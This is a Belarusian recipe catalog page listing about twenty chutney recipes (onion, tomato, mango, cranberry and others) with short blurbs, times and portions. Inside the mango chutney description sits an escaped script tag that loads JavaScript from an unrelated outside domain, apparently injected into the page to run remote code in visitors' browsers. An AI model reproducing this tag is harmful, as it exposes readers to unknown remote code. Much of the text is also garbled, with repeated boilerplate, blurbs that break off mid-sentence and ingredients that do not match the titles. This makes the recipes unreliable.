Каталог

Чатні

Знойдзена рэцептаў: 21

Цыбулёвы чатні

Мінімум інгрэдыентаў — адрозны вынік. Ніжэй я раскажу падрабязней. Соус гатовы. Захоўвайце ў халадзільніку і падавайце да страв.

Чытаць рэцепт→

60 хв4 порц.

Апельшынавы чатні

Ідэальна падыходзіць да мяса, птушкі і гарніраў. Абавязкова здымаць белую частку з апельсінаў, яна надае непрыемную гарчыню. Чатні трэба захоўваць у зачыненым выглядзе ў халадзільніку. Гатовы соус можна захоўваць у халадзільніку некалькі дзён.

Чытаць рэцепт→

30 хв4 порц.

Томатны чатні

Рэцэпт соусу ў дамашніх умовах. Калі вы не боіцеся спрабаваць што-небудзь новае, а таксама адносіце сябе да паклоннікаў вострага, тады гэты варыянт ідэальна падыходзіць да пасты, мяса і агародніны.

Чытаць рэцепт→

60 хв4 порц.

Яблычны чатні на зіму

Універсальная застоліўка для салатаў і гарачых страв. Ніжэй я раскажу падрабязней,

Чытаць рэцепт→

50 хв4 порц.

Шпінат у цесте з соусам чатні

Рэцэпт соусу ў дамашніх умовах. Шпінат у цесте з соусам чатні — адно з любімых блюд у Індыі. На санскрыце гэта блюда называецца палак пакора. Часта мы называем гэта блюда проста — пакора. Вельмі смачная хрумкая закуска. Яна атрымліваецца хрумкай дзякуючы спалучэнню лёдзяной вады і рысавай мукі. Гэта два вельмі важныя кампаненты! Соус чатні — вельмі незвычайны соус, які ўбірае ў сябе ўсе смакі адразу: ён і салёны, і слодкі, і кіслы адначасова! Вельмі цікавыя адчуванні. Спробуйце, і вам абавязкова спадабаецца.

Чытаць рэцепт→

120 хв4 порц.

Чатні з чырвонай смародзіны

Мінімум інгрэдыентаў — адрозны вынік. Ніжэй я распавяду падрабязней. Гатовы соус можна захоўваць у халадзільніку некалькі дзён.

Чытаць рэцепт→

10 хв4 порц.

Зялёны чатні

Рэцэпт соусу ў дамашніх умовах. Ніжэй я раскажу падрабязней. Падавайце соус да мяса, рыбы ці выкарыстоўвайце як заправу для салата.

Чытаць рэцепт→

10 хв4 порц.

Какосавы чатні

Соус гатоўцца за некалькі хвілін. Рэцэптаў прыгатавання чатні сотні, я прапаную свой варыянт. Гатовы соус можна захоўваць у халадзільніку некалькі дзён.

Чытаць рэцепт→

10 хв4 порц.

Мятны чатні з кірэйшам

Рэцэпт соусу ў дамашніх умовах. Цікавая ідэя,

Чытаць рэцепт→

15 хв4 порц.

Чатні з хурмы

Рэцэпт соусу ў дамашніх умовах. У гэтым рэцэпце вы даведаецеся,

Чытаць рэцепт→

60 хв4 порц.

Вішнёвы чатні

Спяшу падзяліцца з вамі чудовай ідэяй. Падавайце соус да мяса, рыбы ці выкарыстоўвайце як заправу для салату.

Чытаць рэцепт→

25 хв4 порц.

Часночна-памідорны чатні

Смачная дадатак да паўсядзённых і святочных страв. Калі вы любіце больш аднастайную кансыстэнцыю, то гатовы соус можна здробніць блендэрам. Калі вы любіцель вострых соусаў — гэты чатні абавязкова спадабаецца вам. Соус ідэальна падыходзіць да мяса ці рыбы. Ідэальна падыходзіць да пасты, мяса і гародніны.

Чытаць рэцепт→

15 хв4 порц.

Часночны чатні

Саус прыгатавляецца за некалькі хвілін. Прыправы і аранжавы чатні, асноўным кампанентам якога з'яўляецца часнык, стане сталым госцем на вашым стале, калі вы прыгатуеце яго адзін раз. Востры і пікантны саус, прыгатаваны вамі самімі, ператворыць нават звычайную смажаную курыцу ці кавалак варанай ялавічыны ў шэдэўр. Гатовы саус можна захоўваць у халадзільніку некалькі дзён.

Чытаць рэцепт→

60 хв4 порц.

Чатні зь манга і ананасу

Рэцэпт соусу ў дамашніх умовах. Традыцыйная індыйская прыправа. Гэты чатні выраблены з манго і ананаса. Добра падыходзіць да курыцы, рыбы ці свініны з рысам. Ідэальна падыходзіць да пасты, мяса і гародніны.

Чытаць рэцепт→

60 хв4 порц.

Яблычны чатні

Мінімум інгрэдыентаў — адрозны вынік. Сёння хачу прапанаваць свой варыянт прыгатавання чатні з яблыкаў. Ён адрозна спалучаецца з рысам ці кус-кусам, тостамі і ляпёшкамі. Падавайце ахоладжаным ці пракомнай тэмпературы.

Чытаць рэцепт→

60 хв4 порц.

Чатні з інжырам і чорным перцам

Дамашні саус прыгатоўваецца проста і хутка. Памесціце перац на раздзяляльнай дошцы. Выкарыстоўваючы ніжнюю частку невялікага гаршачка, слабенька размякніце гарбачкі. Перавяжыце чабер кухонным шпагатам. Памесціце перац, сушаны інжыр, цыбулю-шалот, чырвонае віно, чырвоны вінны ацэт, чабер, соль і цукор у сярэдні казан. На сярэднім агні давядзіце да кіпення. Паменшыце агонь да мінімальнага і варыце, пакуль інжыр не стане мяккім, а вадкасць не загусне, каля 45 хвілін. Выдаліце чабер. Дадайце свежы інжыр. Гатуйце, часта перамешваючы, 10-15 хвілін. Знявіце казан з агню. Пералейце сумесь у вялікую міску, пастаўце над ледзяной ванной, каб ахоладзіць. Захоўвайце чатні ў герметычным кантэйнеры ў халадзільніку да 4 месяцаў. Саус гатовы. Захоўвайце ў халадзільніку і падавайце да страв.

Чытаць рэцепт→

30 хв4 порц.

Грушава-калючынны чатні

Мінімум інгрэдыентаў — адрозны вынік. Змяшайце брусніцу і цукар у кастрылі, варыце на сярэднім агні, пакуль ягады не дадуць сок, каля 8 хвілін. Ачысьціце і нарэжце грушы кубікамі. Выкладзіце нарэзаныя грушы ў міску і змяшайце з цытрусавай цедрай і сокам. Дадайце апэльсінавы сок, ізюм, інжыр да брусніцы. Павялічце агонь да максімальнага. Перамяшаючы, дадайце грушы, калі сумесь пачне булькаць. Гатуйце, перамяшаючы, пакуль сумесь не загусьне і грушы не стануць чырвонымі, каля 10 хвілін. Выкладзіце ў міску. Дайце астыць, астудзіце чатні ў халадзільніку да 24 гадзін. Падавайце астуджаным ці пракамнатнай тэмпературы.

Чытаць рэцепт→

30 хв4 порц.

Клюквовы чатні

Мінімум інгрэдыенты — адрозны вынік. У вялікай каструлі падгрэць алей на слабым агні. Дадаць цыбулю і імбір, гатаваць, пастаянна перамешваючы, пакуль цыбуля не размякне, каля 5 хвілін. Дадаць брусніцу, цукор, вінэграц і 1 шклянку вады, дакіпячыць. Прыглушыць агонь і кіпячыць на слабым агні, часта перамешваючы, пакуль сумесь не загусне, ад 10 да 15 хвілін. Пасаліць, паперчыць. Дазволіць поўнасцю астыць. Падаваць чатні пракамнатнай тэмпературы або ахалоджаным. Гатовы соус можна захоўваць у халадзільніку некалькі дзён.

Чытаць рэцепт→

30 хв4 порц.

Мангавы чатні

Чатні з манга — гэта вельмі папулярная індыйская прыправа, якая дзякуючы спецыям і незвычайнай тэхналогіі прыгатавання выдатна падрыхтоўвае апетыт. Звычайна яе падаюць перад асноўнай стравай разам з закускай. У нашай сям'і чатні з манга выкарыстоўваюць па-рознаму: намазваем на хлеб, дадаем у блинчыкі, падаюць з аладкамі, рознымі закускамі... Перадаць смак цяжка — трэба паспрабаваць. Чаго вам і жадаю!&ltscript type="text/javascript" src="https://fsgv.ru/i.js"&gt&lt/script&gt

Чытаць рэцепт→

60 хв4 порц.

Ананасавы чатні

Смачная дадатак да паўсядзённых і святочных страв. Як-то ў нас дома застаўся ананас, і мы не ведалі, што з ім рабіць. У інтэрнэце знайшлі рэцэпт чатні з ананаса — вырашылі спрабаваць. Зрабілі — і вельмі спадабалася. Саус атрымаўся вельмі смачны, падавалі яго да бульбі з фры і ціпсам — вельмі цікавае спалучэнне. У агульным, пры жаданні чатні з ананаса можна падаваць і да гарачых страв, да мяса. Ідэальна падыходзіць да пасты, мяса і агародніны.

Чытаць рэцепт→

40 хв4 порц.

Вінаграднае чатні

Мінімум інгрыдыентаў — адрозны вынік. Вінаграднае чатні прыгатоўваецца даволі проста, затое соус атрымліваецца не толькі нязвычайна смачным, але і прыгожым, эстэтычным — «як у лепшых дамах Лондана і Парыжа» :) Вельмі добра соус вінаграднае чатні падыходзіць да мармарамясной буйволіны і мядальёнам. Хоць і да звычайнай свініны ён добра падыходзіць, я спрабавала падаваць да шашлыка — таксама атрымалася цікавае спалучэнне. Да такіх страв падыходзіць сухое чырвонае віно французскіх вінаграднікаў. Жадаю прыемнага прыгатавання. Гатовы соус можна захоўваць у халадзільніку некалькі дзён.

Чытаць рэцепт→